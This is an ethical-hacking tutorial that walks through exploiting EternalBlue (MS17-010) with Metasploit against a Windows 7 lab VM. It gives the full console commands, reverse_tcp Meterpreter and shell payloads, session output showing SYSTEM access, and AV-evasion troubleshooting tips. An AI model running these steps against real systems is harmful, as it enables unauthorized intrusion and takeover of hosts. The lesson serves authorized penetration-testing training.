Launch a Basic Metasploit Exploit

You've mapped the network, fingerprinted services, and identified a vulnerable application. Now comes the moment of truth: turning that vulnerability into a confirmed foothold. If you've ever stared at a Metasploit console and wondered, "Which module do I use, and what do all these set commands actually do?" — this lesson ends that confusion. You'll move from scanning to exploitation with a clear, repeatable process, and you'll learn to do it responsibly, in a lab, with full authorization.

The problem this lesson solves

Running a vulnerability scanner and getting a list of CVEs is one thing. Exploiting the vulnerability to verify it's actually exploitable — that's another skill entirely. Many newcomers to ethical hacking freeze at this point. They have the target, they know the service is outdated, but they don't know how to translate that knowledge into a session on the target machine. The result? They either skip exploitation entirely or, worse, try to run a random exploit without understanding what it does, which can crash the target or, in a real engagement, cause serious damage.

This lesson solves that by giving you a structured, repeatable process to launch a basic Metasploit exploit. You'll learn to think like an operator: identify the target service and version, find a matching module, set the required options, and execute the exploit with a payload that gives you a stable connection back. You'll also learn the critical safety checks — like check and dry runs — that separate a professional from a script kiddie.

Core concept / mental model

Think of Metasploit as a precision toolkit, not a magic wand. You don't just point it at a target and fire. Instead, you assemble three components:

1. Exploit — the code that takes advantage of a specific vulnerability (e.g., a buffer overflow in an SMB service).
2. Payload — the code that runs on the target after the exploit succeeds (e.g., a reverse shell that connects back to you).
3. Target — the specific operating system and version of the vulnerable software (e.g., Windows 7 SP1 x64).

The exploit is the key that opens the door; the payload is what you do once you're inside. The target selection tells Metasploit which lock to pick. Get any one of these wrong, and the exploit either fails silently or crashes the service.

The golden rule: authorization first

Before you even open the console, you must have explicit written permission to test the target. This lesson assumes you're working in a controlled lab environment — like a local VM or a platform like Hack The Box — where you own the target or have clear legal consent. Exploitation without authorization is a crime. Period.

How it works step by step

The lifecycle of a Metasploit exploit follows a predictable pattern. Once you internalize this, you can launch any basic exploit with confidence.

Step 1: Identify the vulnerable service

Your reconnaissance phase should have already discovered open ports and service versions. For example, you might have found an SMB service on port 445 running an old version of Windows. This is your candidate.

Step 2: Find a matching module

Metasploit has thousands of modules. Use the search command to narrow down to a specific service and version. For example:

msf6 > search type:exploit platform:windows smb

This returns a list of exploits that target Windows SMB services. You'll pick the one that matches your target's version.

Step 3: Load the module and view options

When you use a module, Metasploit switches context. The show options command reveals which parameters are required and which have defaults. You must ensure RHOSTS (target IP) and often LHOST (your IP for reverse connections) are set correctly.

Step 4: Set the payload

You choose a payload that suits your goal and your network setup. For most basic exploits, a reverse tcp payload is the standard choice because it connects from the target back to you, bypassing inbound firewalls. You also need to set LHOST to your IP address, and optionally LPORT (default is usually 4444).

Step 5: Run check (if available)

Many modules include a check command that runs a non-intrusive probe to confirm the target is vulnerable. This is your last safety net before launching the exploit. If it returns The target is vulnerable, you're go. If it says not vulnerable, stop and reconsider.

Step 6: exploit and interact

Launch the exploit with exploit or run. If successful, you'll see a meterpreter session open, which gives you an interactive shell and powerful post-exploitation tools. If it fails, you'll likely get an error message — we'll cover common ones later.

Hands-on walkthrough

Let's walk through a complete example. This is a classic, beginner-friendly target: a Windows 7 VM with SMBv1 enabled, vulnerable to EternalBlue (MS17-010). We'll launch a basic Metasploit exploit to gain a Meterpreter session.

Setup: two machines

• Attacker: Kali Linux (your machine), IP 192.168.1.100
• Target: Windows 7 SP1 x64 VM, IP 192.168.1.105

Make sure both are on the same isolated VMware/VirtualBox network. Target the VM's IP, not your host.

Step 1: Search for the exploit

Open a terminal and launch Metasploit:

msfconsole

Then search for the EternalBlue module:

msf6 > search ms17-010

You'll see results like exploit/windows/smb/ms17_010_eternalblue. That's our module.

Step 2: Load and configure

msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

You'll notice RHOSTS is required. Set it, along with the payload options:

msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.105
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.100
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 4444

Step 3: Check the target

msf6 exploit(windows/smb/ms17_010_eternalblue) > check

[+] 192.168.1.105:445 - The target is vulnerable.

The green [+] means we're good to go.

Step 4: Launch the exploit

msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 192.168.1.100:4444 
[*] 192.168.1.105:445 - Connecting to target for exploitation.
[+] 192.168.1.105:445 - Connection established for exploitation.
[+] 192.168.1.105:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.1.105:445 - Sending egg to corrupted connection.
[*] 192.168.1.105:445 - Triggering free of corrupted buffer.
[*] Sending stage (200774 bytes) to 192.168.1.105
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.105:49186)

meterpreter >

You're in! You now have a Meterpreter session. Try a few commands:

meterpreter > sysinfo
Computer        : VICTIM-PC
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
Meterpreter     : x64/windows

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

You're running as SYSTEM — the highest privilege on Windows. In a real engagement, you'd now pivot, escalate, or exfiltrate data (with authorization).

Pro tip: Always terminate the session cleanly when done. Use exit or background (to keep it in the background while you use other Metasploit features). Leaving sessions open in a lab is fine, but in a real test, remember to clean up.

Alternative: A non-Meterpreter payload

If you don't need Meterpreter's advanced features, you can use a simple cmd/windows/reverse_tcp payload to get a plain shell. This is lighter and sometimes more reliable on restricted targets.

msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/shell/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

If successful, you'll get a standard command prompt (C:\Windows\system32>), which is enough for many quick tasks like checking user privileges or reading files.

Compare options / when to choose what

When you launch a basic Metasploit exploit, the biggest choice you'll make is the payload. Here's a comparison of the most common options:

Pro tip: If you're unsure which payload to use, start with meterpreter/reverse_tcp for the target OS and architecture. It's the Swiss Army knife of Metasploit payloads.

Another technical choice is staged vs. stageless payloads. Staged payloads send a small initial stager that then downloads the rest of the payload — useful when bandwidth is limited. Stageless payloads include everything in one packet — faster but larger and more likely to be detected. For a basic exploit, staged (meterpreter/reverse_tcp) is the default, and that's fine.

Troubleshooting & edge cases

The most common frustration when learning to launch a basic Metasploit exploit is the exploit failing silently or with cryptic messages. Here's how to debug.

"Failed to connect to the target"

• Check your network: Can you ping the target from your attacker machine? If not, check your VM network settings (use NAT or Host-only, and ensure both VMs are on the same network).
• Check the service: Is the vulnerable service actually running? Use nmap to confirm port 445 is open: nmap -p445 192.168.1.105. If it's closed, the service is disabled.
• Check RHOSTS: A typo in the IP address is a classic mistake. Re-run show options to verify.

"The target is not vulnerable" (from check)

• The service may already be patched. If the target is a modern Windows 10 with SMBv1 disabled, EternalBlue won't work. Use the correct exploit for your target's exact version.
• Your target may not be the right OS version. For example, some exploits only work on x86, not x64. Check the module info: info to see supported targets.

Exploit runs but no session opens

• AV/firewall interference: The target's antivirus might block the payload. Try a different payload (e.g., shell instead of meterpreter), or use a staged payload with encoding: set ENCODER x86/shikata_ga_nai (though encoding is less effective now).
• Payload architecture mismatch: If you set a 64-bit payload on a 32-bit target, it will fail. Check the target's architecture from your recon (or from check output).
• LHOST set to wrong IP: If your Kali machine has multiple interfaces (e.g., VPN, Wi-Fi), the reverse connection may go to the wrong IP. Confirm your IP with ip a. Use the tun0 IP if you're on a VPN.
• Firewall on your Kali machine: Your own firewall might be blocking the incoming connection for the reverse payload. Temporarily disable it (in a lab) or add an allow rule for port 4444.

Exploit crashes the service

If the exploit succeeds in triggering the vulnerability but the target crashes (service stops responding), it usually means the exploit's memory corruption failed in a way that caused a denial of service. This can happen if you chose the wrong target OS version. Always re-check your target and choose the specific set target if the module has multiple targets.

Pro tip: Before launching an exploit that might crash a production service, always test it first in a lab. In a real engagement, you should have a fallback plan and written approval that includes potential service interruption.

What you learned & what's next

You now know how to launch a basic Metasploit exploit from start to finish. Let's recap what you've mastered:

• You understand the core concept: an exploit plus a payload equals a session.
• You can search for a module, set required options, and run check before exploit.
• You've successfully launched an exploit and gained a Meterpreter session.
• You compared payload options and know when to use which.
• You can troubleshoot common failures like connection issues, architecture mismatches, and AV interference.

This is a huge milestone: you've moved from passive reconnaissance to active exploitation. However, exploitation is only the beginning. In the next lesson, you'll learn post-exploitation — what to do after you've gained that initial foothold. You'll explore Meterpreter commands for privilege escalation, credential dumping, and pivoting to other machines on the network. These skills turn a single compromised host into a full understanding of an organization's security posture.

Remember the golden rule: with great power comes great responsibility. Every exploit you launch should be authorized, contained, and documented. Happy (ethical) hacking!